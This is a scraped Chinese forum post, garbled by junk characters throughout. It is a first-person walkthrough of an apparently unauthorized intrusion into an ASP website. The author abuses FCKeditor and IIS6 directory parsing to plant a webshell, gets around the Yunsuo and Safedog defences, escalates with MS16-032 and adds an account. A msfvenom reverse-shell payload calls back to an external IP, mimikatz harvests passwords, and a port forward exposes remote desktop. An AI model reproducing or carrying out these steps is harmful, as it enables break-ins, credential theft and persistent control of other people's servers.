|
S9 t+ C1 T9 o" a. K
' C4 j" v! F% T* `6 L/ H, e. D" d 2 u% {7 G/ O- h1 r/ U' a, t
7 X# K4 N0 |9 `; V/ t ] | 4 T6 I& _9 [! a' d# w
5 L# `, E" v I: F/ t
$ P) B1 f; U$ R* V) f
一、 利用getwebshell篇
4 d! v q/ ^4 l& A' t' C; p+ ^
( o) x& {( s! t1 O& E首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
/ u3 \' u: ?: T w8 b
: v7 Z( a) V4 [# _# m$ E( o9 X
4 C+ P& W& e' u* F8 r下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
, I" I4 L6 X: M9 \" i2 N6 J* I
4 G4 ^% \) F. @' v! S3 b4 }) O下面我们构造一个asp目录，如：
- q5 q! A( Y9 }& }
- E, B; l' r5 m5 ^: S& ^" t- P& }
& c* \9 d+ P- A, E( V! p$ R- ]" \ http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
5 k r- r* ]% e
% k1 a, X0 A3 P
) R6 Q" q: X, O* D4 @ 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
9 }/ K- Z C1 c' Z1 D% V
3 w( S, r. w5 {1 B3 G9 P0 Q! C一、 绕过安全狗云锁提权并且加账号
3 F% o5 Y+ T; u% S
2 j; f( p" N3 r没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
, _* `' e( ]/ p& O0 Z6 h. G! L. _
+ `1 N: s7 c% T3 }如图：
5 l, d5 t- x1 I2 v- U4 k# a0 b+ S7 P0 [
8 b8 P4 h# b3 y5 u然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
6 e( |/ B+ o1 k6 Q
9 d1 b5 P9 e" ]; v7 f3 J" s9 e一、 利用metasploit
; a: V6 h. B! A& [9 ?
% Q: d( F/ S' ~9 u+ T: X3 u- \* ~
首先用pentestbox生成一个64位的payload如下命令
2 ] L& e/ O. b; u" a
9 i% T+ q6 V- H0 p+ i# hmsfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
9 V1 q5 z) ~( _* e# I# F7 u- r* G
- C% Z7 a- G! P) w8 [; ^4 h" @9 Q为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
% V: A/ s$ U. b6 j% u9 |, ]; T
* t# T8 m) B! L
下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
! P% Q% {* Q& I8 J, [
# T& | {0 g" `# I' x下面我们来做一个监听如下命令：
, O: i0 X. {7 W) L) _
" _; B+ p: l, E$ L
portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
5 P. |* x& P8 x
 % L7 x" N0 _* ~2 F; N4 [
7 s' y, r# s) m0 z9 C |
4 i0 k0 n n. d% |$ {& C $ `6 h4 Z( t& q' B& [3 |+ d& {
# ?' G1 l" B* L, [# s, h& d. g/ u
, Y' u$ @, I' r6 W- A
" M3 `: d1 J/ D: }+ J" w* v% F' O, J& F, n* C$ s$ |5 ?
4 r N# b! P/ z7 X f* ~$ Q
, S8 X: |! W6 D
8 R1 Y" T0 t" Y/ w9 i6 G0 x
, L! I- S% B7 N- p/ f$ t9 `
4 H9 J1 F0 L; ~* J: A
0 d( ?8 S" c+ S2 |4 l. C# e- ~% m1 q
2 F j6 i" W5 |6 r+ D5 c | 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06